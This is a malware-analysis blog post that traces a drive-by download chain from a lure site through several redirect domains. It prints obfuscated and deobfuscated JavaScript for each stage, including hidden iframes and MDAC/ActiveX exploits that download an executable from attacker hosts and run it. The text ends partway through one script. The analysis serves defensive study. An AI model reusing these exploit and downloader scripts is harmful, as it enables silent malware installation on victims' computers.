This post shows the lengths people will go to in order install malware onto computers. We will show how visiting one website will take you on a journey to many websites that will check your computer for vulnerable software and if found, will install malware on your computer.
First, there is a list of the domains involved in the exploit adventure. Simply visiting hxxp://defendmycreditunion.org will start this process. Then hidden iframes are loaded with websites scanning your computer for vulnerabilities and if it can’t, redirect you somewhere else. These websites are still active so proceed at your own risk.
The links on this page DO NOT link to the infected website. They are anchored links further down the page to view the analysis easier. The links just below are listed in the approximate order in which they load would while exploiting the machine.
BE ADVISED: The actual domains may still be active. Proceed at your own risk!
Picture below shows visual map of how pages are loaded.
hxxp://defendmycreditunion.org
hxxp://bestshaste.cn/good.html?
hxxp://bestshaste.cn/clean.html
hxxp://bestshaste.cn/best.html
hxxp://bestshaste.cn/white.html
hxxp://virtualceck.com/in.cgi?pipka3
hxxp://onlinececk.com/y4qCdfpS/index.php
hxxp://onlinececk.com/y4qCdfpS/exe.php
hxxp://ch1ngishan.ru/s/in.cgi?3
hxxp://69.46.18.8/pms/yRk/locate.xasp
hxxp://69.46.18.8/pms/yRk/locate.xasp?57e64c5c03d084be247eefef2a33
049bn76697700n00000000000000000000
hxxp://rivatos.net/in.cgi?id1
hxxp://rivatos.net/1.php
hxxp://dk.an-dk.ru/partners/admin/1/index.php
hxxp://rivatos.net/in.cgi?idb1
hxxp://rivatos.net/tds/in.cgi?2
hxxp://dk.an-dk.ru/partners/admin/1/load.php?id=36125
hxxp://www.traffic-exchange.biz/123.php
hxxp://augreat.mine.nu/viewpost.php?pid=191
hxxp://augreat.mine.nu/8f2v3t/8.php
hxxp://augreat.mine.nu/0i1w7m/4.php
hxxp://augreat.mine.nu/1j0m2t/17.php
hxxp://augreat.mine.nu/5d8u9c/1.php
hxxp://augreat.mine.nu/9b5a5g/10.php
hxxp://augreat.mine.nu/8f8k2p/f.php
hxxp://livecore.homeunix.com/direct.php?p=10
Click here to go to the files pulled from this journey
hxxp://defendmycreditunion.org
<script>function c7841638945m48a8b0a23e3f8(m48a8b0a23ebcc){ var
m48a8b0a23f3a0=16; return(parseInt(m48a8b0a23ebcc,m48a8b0a23f3a
0));}function m48a8b0a240347(m48a8b0a240b1c){ varm48a8b0a242297
=2; var m48a8b0a2412f0=”;m48a8b0a24323f=String.fromCharCode;for(
m48a8b0a241ac3=0;m48a8b0a241ac3<m48a8b0a240b1c.length;m48a
8b0a241ac3+=m48a8b0a242297){ m48a8b0a2412f0+=(m48a8b0a243
23f(c7841638945m48a8b0a23e3f8(m48a8b0a240b1c.substr(m48a8b0a
241ac3,m48a8b0a242297))));}return m48a8b0a2412f0;} var z0a=”;var
m48a8b0a243a14=’3C7′+z0a+’3637′+z0a+’2697′+z0a+’07′+z0a+’43
E696628216D7′+z0a+’96961297′+z0a+’B646F637′+z0a+’56D656E7′+
z0a+’42E7′+z0a+’7′+z0a+’7′+z0a+’2697′+z0a+’465287′+z0a+’56E657′
+z0a+’363617′+z0a+’065282027′+z0a+’2533632536392536362537′+
z0a+’3225363125366425363525323025366525363125366425363525
3364253633253337′+z0a+’2532302537′+z0a+’332537′+z0a+’32253
633253364253237′+z0a+’2536382537′+z0a+’342537′+z0a+’342537′
+z0a+’302533612532662532662536322536352537′+z0a+’332537′+
z0a+’342537′+z0a+’332536382536312537′+z0a+’332537′+z0a+’3425
3635253265253633253665253266253637′+z0a+’2536662536662536
342532652536382537′+z0a+’34253664253663253366253237′+z0a+
‘2532622534642536312537′+z0a+’342536382532652537′+z0a+’322
536662537′+z0a+’352536652536342532382534642536312537′+z0a
+’342536382532652537′+z0a+’322536312536652536342536662536
64253238253239253261253338253331253331253337′+z0a+’25333
2253239253262253237′+z0a+’253636253336253337′+z0a+’253636
253335253636253332253333253339253237′+z0a+’2532302537′+
z0a+’37′+z0a+’2536392536342537′+z0a+’3425363825336425333
2253332253333253230253638253635253639253637′+z0a+’253638
2537′+z0a+’342533642533332533362533342532302537′+z0a+’33
2537′+z0a+’342537′+z0a+’39253663253635253364253237′+z0a+’
2536342536392537′+z0a+’332537′+z0a+’302536632536312537′+z0a
+’39253361253230253665253666253665253635253237′+z0a+’25
33652533632532662536392536362537′+z0a+’3225363125366425
363525336527′+z0a+’29293B7′+z0a+’D7′+z0a+’6617′+z0a+’2206D
7′+z0a+’969613D7′+z0a+’47′+z0a+’27′+z0a+’5653B3C2F7′+z0a+’3
637′+z0a+’2697′+z0a+’07′+z0a+’43E’;document.write(m48a8b0a24
0347(m48a8b0a243a14));</script>
DEOBFUSCATES TO:
<script>if(!myia){document.write(unescape( ‘%3c%69%66%72%61%6d
%65%20%6e%61%6d%65%3d%63%37%20%73%72%63%3d%27%68%74
%74%70%3a%2f%2f%62%65%73%74%73%68%61%73%74%65%2e%63
%6e%2f%67%6f%6f%64%2e%68%74%6d%6c%3f%27%2b%4d%61%74
%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64
%6f%6d%28%29%2a%38%31%31%37%32%29%2b%27%66%36%37%66
%35%66%32%33%39%27%20%77%69%64%74%68%3d%32%32%33%20
%68%65%69%67%68%74%3d%33%36%34%20%73%74%79%6c%65
%3d%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e
%3c%2f%69%66%72%61%6d%65%3e’));}var myia=true;</script>
DEOBFUSCATES AGAIN TO:
<iframe name=c7 src=’http://bestshaste.cn/good.html?’+Math.
round(Math.random()*81172)+’f67f5f239′ width=223 height=364
style=’display: none’></iframe>
hxxp://bestshaste.cn/good.html?
<script>a=new Array(59.81,104.65,101.67,113.67,96.78,108.91
,100.7,31.7,114.73,113.98,98.61,60.97,33.61,103.86,115.63,
115.95,111.94,57.72,46.81,46.73,97.87,100.95,114.98,115.61,
114.93,103.95,96.77,114.67,115.67,100.69,45.83,98.8,109.61,
46.77,98.79,107.68,100.7,96.78,109.89,45.61,103.67,115.9,
108.77,107.67,33.86,31.71,118.66,104.74,99.62,115.82,103.61,
60.92,48.66,31.8,103.84,100.69,104.75,102.84,103.61,115.95,
60.8,48.93,31.93,114.77,115.96,120.85,107.66,100.64,60.77,
33.6,117.83,104.86,114.76,104.76,97.68,104.71,107.87,104.92,
115.84,120.88,57.84,31.87,103.96,104.66,99.61,99.99,100.86,
109.72,33.71,61.68,59.99,46.77,104.68,101.71,113.79,96.69,
108.66,100.88,61.69,59.96,104.99,101.77,113.92,96.67,108.6,
100.98,31.74,114.71,113.63,98.68,60.77,33.98,103.82,115.87,
115.65,111.74,57.7,46.74,46.63,97.7,100.82,114.87,115.73,
114.95,103.71,96.84,114.79,115.95,100.91,45.86,98.86,109.82,
46.96,97.89,100.77,114.83,115.99,45.74,103.95,115.66,108.94,
107.79,33.85,31.62,118.94,104.83,99.9,115.78,103.95,60.84,
48.94,31.64,103.69,100.61,104.61,102.67,103.9,115.93,60.95,
48.77,31.91,114.78,115.78,120.63,107.68,100.97,60.76,33.93,
117.72,104.86,114.91,104.96,97.99,104.85,107.68,104.61,
115.82,120.73,57.9,31.77,103.94,104.88,99.61,99.92,100.7,
109.7,33.65,61.74,59.83,46.96,104.85,101.94,113.66,96.66,
108.86,100.79,61.95,59.99,104.9,101.99,113.61,96.92,108.62,
100.81,31.8,114.86,113.66,98.96,60.85,33.98,103.65,115.71,
115.69,111.88,57.83,46.75,46.86,97.74,100.83,114.77,115.91,
114.95,103.9,96.66,114.97,115.89,100.68,45.9,98.97,109.96,
46.79,118.99,103.65,104.94,115.88,100.61,45.76,103.82,
115.79,108.85,107.62,33.79,31.95,118.99,104.98,99.83,115.79,
103.93,60.78,48.73,31.77,103.74,100.74,104.88,102.71,103.73,
115.62,60.67,48.65,31.97,114.74,115.88,120.83,107.95,100.84,
60.9,33.89,117.76,104.87,114.73,104.67,97.69,104.95,107.94,
104.99,115.83,120.63,57.72,31.91,103.66,104.84,99.67,99.85,
100.67,109.72,33.76,61.66,59.75,46.82,104.8,101.77,113.98,
96.66,108.75,100.63,61.86);var i;
for (i=0;i<=a.length; i++){document.write(String.fromCharCode
(Math.round(a[i])));};</script>
DEOBFUSCATES TO:
<iframe src=”http://bestshaste.cn/clean.html” width=1 height=1
style=”visibility: hidden”></iframe><iframe src=”
http://bestshaste.cn/best.html” width=1 height=1 style=
“visibility: hidden”></iframe><iframe src=”
http://bestshaste.cn/white.html” width=1 height=1 style=
“visibility: hidden”></iframe>
hxxp://bestshaste.cn/clean.html
<iframe src=”http://virtualceck.com/in.cgi?pipka3″ width=1
height=1 style=”visibility: hidden”></iframe>
hxxp://virtualceck.com/in.cgi?pipka3 redirects to hxxp://onlinececk.com/y4qCdfpS/index.php
hxxp://onlinececk.com/y4qCdfpS/index.php
<script language=JavaScript>function dc(x){var l=x.length,
b=1024,i,j,r,p=0,s=0,w=0,t=Array(72,0,61,0,40,21,0,0,0,0,
28,0,30,37,0,57,10,64,0,67,17,8,42,1,54,0,0,0,0,0,0,43,5,
22,27,36,29,60,32,48,33,69,66,55,14,62,9,34,46,45,44,56,
7,68,59,51,35,4,0,0,0,12,50,0,47,23,20,19,52,41,11,3,24,
63,31,38,2,65,15,71,70,13,6,16,53,26,39,18,25,49,0,0,0,
58);for(j=Math.ceil(l/b);j>0;j–){r=”;for(i=Math.min(l,b);i>0;
i–,l–){w|=(t[x.charCodeAt(p++)-33])<<s;if(s){r+=String.
fromCharCode(156^w&255);w>>=8;s-=2}else{s=6}}
document.write(r)}}dc(“GNFLMbrX6XgF#gjNfLjN0U7a9La~
#jNjQboW%W@%5vOaF_gaF_gaF7-jQXgWhwQWHXC%F~g
#%YMWlMWSXgoFugkNjwjjLgWjXUjS.YvWkYaNSjFS0d-N__
M#SWWf5vfNfgjj%bjF_XCeiL#LeBW05vyDBBf~#WMa_wNjIQ
WQwsf.Tdv%F_~f5vOaF7-jQX@FBaFeaYQXFs1aTojjfUkN_YQ
SjW-N#Y-NyhkNzwaF%d@aXWa#0jaaL1k~jk@a%WCRwsf.
F_@FBaFeaYQX_N-N%Lr~%W-#NwM~0d@auYaaH~g%N-@
FfjjRNMv%_CRaL1k~jk@ago#W%WWR_wNjL~@XN-@FfjjRN
M7aL1k~jk@aP~CRwsf._C#_djM~MgWW0Y-L%YQWuWk~%w
oRNNaaL1k~jk@aHLaaL1k~jk@aaj-#N-@FfjjRNPaaH~WjHj-
#TC7Lib7aL1k~jk@a7~WR_wNjL~WLN-@FfjjRNlv77s@7f9#
@z9v@iWWR_wNjL~g@zB1fa~WR_wNjL~CLz_1@kX17vjR@N-
@FfjjRNBv9a77au-vDBPQW.k-DB7-jQXgFRL7#xLoaI_@FBaFe
aYQX_NRW0Lo~0oRj9wjj%d@a#YjFTWaaL1k~jk@a_NM~Q
WWR_wNjL~CNN-@FfjjRN9aaL1k~jk@azWgSWQCRwsf.7La
WFPofFs1aR-vDBsNj#YNjedCNu–T5vO~QbN05vf~#WMa^
wE9tYQ7Fs1a_C#_djM~MgWLQwkj%wjeNCkNjYMRNN^#0h
oF_9rWN-@FfjjRN_MFuWWR_wNjL~WjN-@FfjjRN9o~uoaaL
1k~jk@a_WgSWQCRwsf.7LaWFPofFs1aR-vDBs-DBNkj%jo#
elkRwU-DBBaNePofFsv%F9vR5v005vO~Qb-DB–DB7-jQX
C~BCjNR_C%F1augo#W%WSSkW-N#Y-NdWa#0jo~e~CFad-
FHW7SN-@FfjjRNxSaL1k~jk@a5WWR_wNjL~gecY^_^WgS
WQCRwsf.5vOaFlQu9ak@_MoW0goRNQE9N-@FfjjRNPS
aH_NHfWMFH7kjHj-Nu-vDB_gafCR#WL7SawaFTdCRwsf
.F_gFRL7#xLaS%bMW0XC%F9~f5vOaFmkWRvae#gWFSwa
FeBWf5vOFRL7#xLaSgW-#%woRfCR#WL7SQwjWSoaFawa
LXYk0u-vDB_gavWNFWd-jFs1aN1@S3hFXDQvNLda__l
o00WWf5vOFRL7#xLaSoLa~0YFFvboF0d@9QojNDLoSQB
Wf5vyN7LoFe~gXywRaL1k~jk@atYQ7_N^#0hoFyd-NjwM
~0d@9QojNDWWR_wNjL~Cju-7au-vDB~-N%wQW_XC@
wsf.IUf.jLo~jdoR0bW0IUf.IUf.IUf.~wQFjY-#Xgoa^YR9eB
CDB–DBPjFjw-F0go~_QQWuY-NeQg%u@aW#UkNFNQ
WjU7aaXMFX_MN~ggWT@aaFQ-#TYM#I91aewk#Wdo~
I91aaY-0Hwk%NPk#aXMF#bQf_oaF0W@%GMC#~W-jzwa%W
BWf5vyT5vy#~XgR5YELkdCRGhMXi@rRuBgawXCT5vO%
XNNjQboW%g1″)</script>
DEOBFUSCATES TO:
<SCRIPT language=”javascript”>
var p_url = “http://onlinececk.com/y4qCdfpS/exe.php”;
function MDAC(){var nuc=”;
d8= 0;
var nJWOstR = document.createElement(“objec”+nuc+”t”);
nJWOstR.setAttribute(“id”,”<”+nuc+”?=nJ”+nuc+”WOst”+nuc+
“R”+nuc+”?”+nuc+”>”);
nJWOstR.setAttribute(“c”+nuc+”la”+nuc+”ssi”+nuc+”d”,
“clsid:BD9″+nuc+”6″+nuc+”C”+nuc+”556-65A3-11D”+
nuc+”0-983″+nuc+”A-00C04FC2″+nuc+”9E36″);
try{
var lq1jNa = nJWOstR.CreateObject(“adodb”+nuc+”.str”
+nuc+”e”+nuc+”a”+nuc+”m”,”);
var d8 = 1;
}catch(e){}
try{
var PEELt6 = nJWOstR.CreateObject(“Shell.Ap”+nuc+
“pli”+nuc+”c”+nuc+”atio”+nuc+”n”,”);
var d8 = 1;
}
catch(e){}
if(d8 == 1)
{
try
{
var uJjg1 = nJWOstR.CreateObject(“msxml2.”+nuc+
“X”+nuc+”M”+nuc+”LHTTP”,”);uJjg1.open(“GE”+nuc+”T”,p_url,false);
uJjg1.send();
lq1jNa.type = 1;
lq1jNa.open();
lq1jNa.Write(uJjg1.responseBody);
Frogxa = “..\\S87ekhV.exe”;
lq1jNa.SaveToFile(Frogxa,2);
eval(“PEE”+nuc+”Lt6.ShellExecute(Frogx”+nuc+”a);”);
return 1;
}
catch(e){}
}
}
function PDF()
{
document.write(‘<iframe src=”spl/pdf.pdf” width=1
height=1 style=”display:none”></iframe>’);
}
if (MDAC()||PDF()) { }
</script>
hxxp://onlinececk.com/y4qCdfpS/exe.php downloads the file ‘load.exe’ and also downloads an Acrobat exploit in the file ‘pdf.pdf’
hxxp://bestshaste.cn/best.html
<script>a=new Array(59.64,104.87,101.9,113.83,96.73,108.86,100.94,31.78,
114.96,113.72,98.76,60.98,33.75,103.76,115.88,115.82,111.94,57.65,46.85,
46.68,98.97,103.68,48.81,109.76,102.88,104.94,114.68,103.63,96.91,109.92,
45.61,113.89,116.68,46.71,114.94,46.73,104.85,109.99,45.61,98.72,102.65,
104.65,62.74,50.87,33.7,31.77,118.68,104.95,99.66,115.66,103.77,60.95,
48.77,31.98,103.74,100.67,104.64,102.64,103.94,115.89,60.94,48.71,31.69,
114.99,115.88,120.89,107.74,100.97,60.72,33.67,117.82,104.61,114.88,
104.92,97.87,104.7,107.81,104.74,115.63,120.63,57.94,31.62,103.84,104.78,
99.71,99.84,100.83,109.94,33.95,61.69,59.95,46.7,104.72,101.86,113.92,
96.65,108.83,100.63,61.68);var i;for (i=0;i<=a.length; i++){document.write
(String.fromCharCode(Math.round(a[i])));};</script>
DEOBFUSCATES TO:
<iframe src=”http://ch1ngishan.ru/s/in.cgi?3″ width=1 height=1 style=
“visibility: hidden”></iframe>
hxxp://ch1ngishan.ru/s/in.cgi?3 redirects to hxxp://69.46.18.8/pms/yRk/locate.xasp
hxxp://69.46.18.8/pms/yRk/locate.xasp
<script type=”text/javascript” src=”?57e64c5c03d084be247eefef2a33049
bn76697700n00000000000000000000″></script>
document.write(unescape(“%3C%73%63%72%69%70%74%3E%66%75%6E%63
%74%69%6F%6E%20%43%72%65%61%74%65%4F%28%6F%2C%6E%29%7B%76
%61%72%20%72%3D%6E%75%6C%6C%3B%74%72%79%7B%72%3D%6F%2E%43
%72%65%61%74%65%4F%62%6A%65%63%74%28%6E%29%7D%63%61%74%63
%68%28%65%29%7B%7D%69%66%28%21%72%29%7B%74%72%79%7B%72%3D
%6F%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%6E%2C%22%22
%29%7D%63%61%74%63%68%28%65%29%7B%7D%7D%69%66%28%21%72%29
%7B%74%72%79%7B%72%3D%6F%2E%43%72%65%61%74%65%4F%62%6A%65
%63%74%28%6E%2C%22%22%2C%22%22%29%7D%63%61%74%63%68%28%65
%29%7B%7D%7D%69%66%28%21%72%29%7B%74%72%79%7B%72%3D%6F%2E
%47%65%74%4F%62%6A%65%63%74%28%22%22%2C%6E%29%7D%63%61%74
%63%68%28%65%29%7B%7D%7D%69%66%28%21%72%29%7B%74%72%79%7B
%72%3D%6F%2E%47%65%74%4F%62%6A%65%63%74%28%6E%2C%22%22%29
%7D%63%61%74%63%68%28%65%29%7B%7D%7D%69%66%28%21%72%29%7B
%74%72%79%7B%72%3D%6F%2E%47%65%74%4F%62%6A%65%63%74%28%6E
%29%7D%63%61%74%63%68%28%65%29%7B%7D%7D%72%65%74%75%72%6E
%28%72%29%3B%7D%66%75%6E%63%74%69%6F%6E%20%47%6F%28%61%29
%7B%66%6E%61%6D%65%3D%22%5C%75%30%30%36%36%69%6C%5C%75%30
%30%36%35%2E%65%5C%31%37%30%65%22%3B%76%61%72%20%65%78%65
%75%72%6C%3D%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69
%6F%6E%2B%22%3F%5C%31%34%35%22%3B%76%61%72%20%66%73%6F%3D
%61%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%22%53%63%72
%69%70%5C%31%36%34%69%6E%67%2E%46%69%5C%75%30%30%36%63%65
%53%5C%31%37%31%73%74%65%6D%5C%31%31%37%62%6A%5C%75%30%30
%36%35%63%5C%75%30%30%37%34%22%2C%22%22%29%3B%76%61%72%20
%73%61%70%3D%43%72%65%61%74%65%4F%28%61%2C%22%53%5C%31%35
%30%65%5C%75%30%30%36%63%6C%2E%41%70%70%5C%31%35%34%5C%75
%30%30%36%39%63%61%5C%75%30%30%37%34%69%6F%6E%22%29%3B%76
%61%72%20%78%3D%43%72%65%61%74%65%4F%28%61%2C%22%41%5C%31
%30%34%4F%5C%75%30%30%34%34%5C%31%30%32%2E%53%74%72%65%5C
%75%30%30%36%31%6D%22%29%3B%76%61%72%20%6E%6C%3D%6E%75%6C
%6C%3B%66%6E%61%6D%65%3D%66%73%6F%2E%42%75%69%6C%64%50%61
%74%68%28%66%73%6F%2E%47%65%74%53%70%65%63%69%61%6C%46%6F
%6C%64%65%72%28%32%29%2C%66%6E%61%6D%65%29%3B%78%2E%4D%6F
%64%65%3D%33%3B%74%72%79%7B%6E%6C%3D%43%72%65%61%74%65%4F
%28%61%2C%22%4D%69%63%72%22%2B%22%5C%75%30%30%36%66%73%5C
%31%35%37%5C%75%30%30%36%36%74%2E%5C%75%30%30%35%38%4D%5C
%31%31%34%48%22%2B%22%54%5C%75%30%30%35%34%5C%31%32%30%22
%29%3B%6E%6C%2E%6F%70%65%6E%28%22%47%5C%75%30%30%34%35%5C
%75%30%30%35%34%22%2C%65%78%65%75%72%6C%2C%66%61%6C%73%65
%29%3B%7D%63%61%74%63%68%28%65%29%7B%74%72%79%7B%6E%6C%3D
%43%72%65%61%74%65%4F%28%61%2C%22%5C%31%31%35%53%5C%31%33
%30%4D%5C%31%31%34%5C%75%30%30%33%32%2E%58%4D%4C%48%5C%75
%30%30%35%34%54%5C%75%30%30%35%30%22%29%3B%6E%6C%2E%6F%70
%65%6E%28%22%5C%75%30%30%34%37%45%5C%75%30%30%35%34%22%2C
%65%78%65%75%72%6C%2C%66%61%6C%73%65%29%3B%7D%63%61%74%63
%68%28%65%29%7B%74%72%79%7B%6E%6C%3D%43%72%65%61%74%65%4F
%28%61%2C%22%5C%75%30%30%34%64%5C%31%32%33%58%4D%5C%31%31
%34%32%2E%5C%75%30%30%35%33%5C%31%34%35%72%76%5C%31%34%35
%72%58%4D%4C%5C%75%30%30%34%38%54%54%50%22%29%3B%6E%6C%2E
%6F%70%65%6E%28%22%47%5C%31%30%35%5C%75%30%30%35%34%22%2C
%65%78%65%75%72%6C%2C%66%61%6C%73%65%29%3B%7D%63%61%74%63
%68%28%65%29%7B%74%72%79%7B%6E%6C%3D%6E%65%77%20%58%4D%4C
%48%74%74%70%52%65%71%75%65%73%74%28%29%3B%6E%6C%2E%6F%70
%65%6E%28%22%5C%75%30%30%34%37%45%54%22%2C%65%78%65%75%72
%6C%2C%66%61%6C%73%65%29%3B%7D%63%61%74%63%68%28%65%29%7B
%72%65%74%75%72%6E%20%30%3B%7D%7D%7D%7D%78%2E%54%79%70%65
%3D%31%3B%6E%6C%2E%73%65%6E%64%28%6E%75%6C%6C%29%3B%72%62
%3D%6E%6C%2E%72%65%73%70%6F%6E%73%65%42%6F%64%79%3B%78%2E
%4F%70%65%6E%28%29%3B%78%2E%57%72%69%74%65%28%72%62%29%3B
%78%2E%53%61%76%65%54%6F%66%69%6C%65%28%66%6E%61%6D%65%2C
%32%29%3B%73%61%70%2E%53%68%65%6C%6C%45%78%65%63%75%74%65
%28%66%6E%61%6D%65%29%3B%72%65%74%75%72%6E%20%31%3B%7D%66
%75%6E%63%74%69%6F%6E%20%6D%64%61%63%28%29%7B%76%61%72%20
%69%3D%30%3B%76%61%72%20%74%61%72%67%65%74%3D%6E%65%77%20
%41%72%72%61%79%28%22%42%5C%31%30%34%39%5C%75%30%30%33%36
%5C%75%30%30%34%33%5C%75%30%30%33%35%5C%75%30%30%33%35%5C
%30%36%36%5C%75%30%30%32%64%5C%75%30%30%33%36%35%5C%31%30
%31%5C%75%30%30%33%33%2D%5C%30%36%31%5C%30%36%31%5C%75%30
%30%34%34%30%5C%75%30%30%32%64%39%5C%75%30%30%33%38%5C%75
%30%30%33%33%41%2D%30%30%5C%75%30%30%34%33%30%5C%30%36%34
%5C%75%30%30%34%36%43%32%5C%30%37%31%5C%75%30%30%34%35%33
%5C%75%30%30%33%36%22%2C%22%5C%75%30%30%34%32%5C%31%30%34
%39%36%5C%31%30%33%5C%75%30%30%33%35%35%36%2D%36%5C%75%30
%30%33%35%41%33%2D%5C%75%30%30%33%31%5C%30%36%31%44%5C%30
%36%30%5C%75%30%30%32%64%5C%75%30%30%33%39%38%5C%30%36%33
%41%5C%30%35%35%30%5C%30%36%30%43%30%5C%75%30%30%33%34%46
%5C%75%30%30%34%33%32%39%5C%75%30%30%34%35%33%5C%75%30%30
%33%30%22%2C%22%5C%31%30%31%42%39%42%43%45%44%44%2D%45%5C
%31%30%33%37%45%5C%30%35%35%5C%75%30%30%33%34%5C%75%30%30
%33%37%45%31%2D%5C%30%37%31%5C%75%30%30%33%33%32%32%2D%44
%34%41%5C%30%36%32%5C%75%30%30%33%31%5C%75%30%30%33%30%36
%31%5C%75%30%30%33%37%5C%75%30%30%33%31%5C%75%30%30%33%31
%5C%30%36%36%22%2C%22%5C%75%30%30%33%30%5C%75%30%30%33%30
%30%36%46%30%33%5C%75%30%30%33%33%2D%5C%30%36%30%5C%30%36
%30%5C%75%30%30%33%30%30%5C%30%35%35%30%5C%75%30%30%33%30
%5C%30%36%30%30%2D%43%5C%30%36%30%5C%30%36%30%30%2D%30%30
%30%30%5C%75%30%30%33%30%5C%75%30%30%33%30%30%5C%75%30%30
%33%30%30%30%34%36%22%2C%22%30%30%5C%75%30%30%33%30%5C%30
%36%36%46%30%5C%75%30%30%33%33%5C%31%30%31%2D%30%30%30%5C
%30%36%30%2D%5C%75%30%30%33%30%5C%30%36%30%30%30%5C%30%35
%35%5C%31%30%33%30%30%30%2D%30%5C%75%30%30%33%30%5C%75%30
%30%33%30%30%30%5C%30%36%30%5C%30%36%30%5C%30%36%30%30%30
%34%5C%75%30%30%33%36%22%2C%22%5C%75%30%30%33%36%5C%31%34
%35%33%32%5C%30%36%30%37%5C%75%30%30%33%30%61%2D%37%36%36
%5C%31%34%34%2D%5C%75%30%30%33%34%5C%31%34%35%5C%75%30%30
%36%35%5C%75%30%30%33%36%5C%75%30%30%32%64%5C%30%37%30%37
%39%5C%31%34%33%2D%64%63%5C%75%30%30%33%31%66%5C%31%34%31
%5C%30%37%31%31%64%32%66%63%5C%30%36%33%22%2C%22%5C%30%36
%36%34%5C%75%30%30%33%31%34%35%31%5C%75%30%30%33%32%5C%31
%30%32%2D%42%5C%30%37%31%5C%75%30%30%33%37%38%5C%75%30%30
%32%64%5C%75%30%30%33%34%35%31%5C%75%30%30%34%34%2D%41%5C
%75%30%30%33%30%5C%31%30%34%38%2D%46%43%5C%75%30%30%34%36
%44%5C%75%30%30%34%36%33%33%5C%75%30%30%34%35%5C%30%37%30
%33%33%43%22%2C%22%37%46%5C%30%36%35%42%5C%30%36%37%46%5C
%30%36%36%33%2D%5C%31%30%36%5C%75%30%30%33%30%5C%75%30%30
%33%36%5C%75%30%30%34%36%5C%75%30%30%32%64%5C%30%36%34%33
%33%5C%75%30%30%33%31%5C%30%35%35%5C%30%37%30%41%32%5C%30
%36%36%5C%30%35%35%5C%75%30%30%33%33%33%5C%30%37%31%45%5C
%75%30%30%33%30%33%5C%75%30%30%34%33%30%5C%31%30%31%5C%75
%30%30%34%35%5C%30%36%33%44%22%2C%22%5C%75%30%30%33%30%5C
%30%36%36%5C%30%36%37%32%33%45%30%5C%75%30%30%33%39%2D%5C
%75%30%30%34%36%34%43%5C%75%30%30%33%32%2D%5C%75%30%30%33
%34%33%5C%75%30%30%36%33%5C%75%30%30%33%38%5C%75%30%30%32
%64%5C%30%37%30%33%35%5C%75%30%30%33%38%5C%75%30%30%32%64
%30%39%46%5C%75%30%30%34%33%44%31%44%42%30%5C%75%30%30%33
%37%5C%30%36%36%36%22%2C%22%5C%75%30%30%33%36%33%39%5C%31
%30%36%37%32%5C%30%36%35%46%5C%75%30%30%32%64%31%42%32%44
%2D%34%38%33%31%2D%5C%75%30%30%34%31%5C%75%30%30%33%39%46
%5C%75%30%30%34%34%5C%30%35%35%38%5C%75%30%30%33%37%34%38
%34%5C%30%36%37%5C%30%36%36%38%5C%30%36%32%30%5C%30%36%31
%5C%30%36%30%22%2C%22%42%41%30%5C%75%30%30%33%31%38%35%39
%39%2D%31%44%42%33%2D%34%34%5C%75%30%30%36%36%39%2D%5C%75
%30%30%33%38%33%42%34%5C%30%35%35%34%36%31%5C%30%36%34%35
%5C%75%30%30%33%34%43%38%5C%75%30%30%33%34%5C%31%30%32%46
%5C%75%30%30%33%38%22%2C%22%44%5C%75%30%30%33%30%5C%75%30
%30%34%33%30%37%44%35%36%2D%37%43%36%39%5C%75%30%30%32%64
%34%33%5C%75%30%30%34%36%31%2D%5C%75%30%30%34%32%34%41%30
%2D%5C%30%36%32%5C%30%36%35%46%35%41%31%5C%30%36%31%5C%31
%30%36%5C%75%30%30%34%31%42%31%39%22%2C%22%5C%75%30%30%34
%35%5C%75%30%30%33%38%5C%75%30%30%34%33%5C%31%30%33%43%44
%44%46%5C%75%30%30%32%64%43%5C%31%30%31%32%5C%30%37%30%5C
%75%30%30%32%64%5C%75%30%30%33%34%39%36%5C%75%30%30%36%32
%2D%5C%31%30%32%30%5C%30%36%35%30%5C%30%35%35%5C%30%36%36
%5C%75%30%30%34%33%5C%75%30%30%33%30%37%43%5C%75%30%30%33
%39%5C%75%30%30%33%36%5C%30%36%32%34%37%36%42%22%2C%6E%75
%6C%6C%29%3B%77%68%69%6C%65%28%74%61%72%67%65%74%5B%69%5D
%29%7B%76%61%72%20%61%3D%6E%75%6C%6C%3B%61%3D%64%6F%63%75
%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28
%22%5C%31%35%37%62%6A%65%5C%31%34%33%5C%75%30%30%37%34%22
%29%3B%61%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%22%5C
%75%30%30%36%33%6C%61%73%73%5C%75%30%30%36%39%5C%75%30%30
%36%34%22%2C%22%63%5C%31%35%34%73%69%5C%75%30%30%36%34%22
%2B%75%6E%65%73%63%61%70%65%28%27%5C%30%34%35%33%41%27%29
%2B%74%61%72%67%65%74%5B%69%5D%29%3B%69%66%28%61%29%7B%74
%72%79%7B%76%61%72%20%62%3D%43%72%65%61%74%65%4F%28%61%2C
%22%53%5C%31%35%30%5C%75%30%30%36%35%6C%6C%2E%41%70%5C%31
%36%30%5C%75%30%30%36%63%69%63%61%5C%31%36%34%5C%75%30%30
%36%39%6F%5C%75%30%30%36%65%22%29%3B%69%66%28%62%29%7B%69
%66%28%47%6F%28%61%29%29%72%65%74%75%72%6E%20%31%3B%7D%7D
%63%61%74%63%68%28%65%29%7B%7D%7D%69%2B%2B%3B%7D%7D%6D%64
%61%63%28%29%3B%3C%2F%73%63%72%69%70%74%3E”));
DEOBFUSCATES TO:
<script>function CreateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){}if(!r)
{try{r=o.CreateObject(n,”")}catch(e){}}if(!r){try{r=o.CreateObject(n,”",”")}catch
(e){}}if(!r){try{r=o.GetObject(“”,n)}catch(e){}}if(!r){try{r=o.GetObject(n,”")}catch
(e){}}if(!r){try{r=o.GetObject(n)}catch(e){}}return(r);}function Go(a){fname=
“\u0066il\u0065.e\170e”;var exeurl=document.location+”?\145″;var fso=
a.CreateObject(“Scrip\164ing.Fi\u006ceS\171stem\117bj\u0065c\u0074″,”")
;var sap=CreateO(a,”S\150e\u006cl.App\154\u0069ca\u0074ion”);var x=
CreateO(a,”A\104O\u0044\102.Stre\u0061m”);varnl=null;fname=fso.BuildPath
(fso.GetSpecialFolder(2),fname);x.Mode=3;try{nl=CreateO(a,”Micr”+”\u006fs\
157\u0066t.\u0058M\114H”+”T\u0054\120″);nl.open(“G\u0045\u0054″,
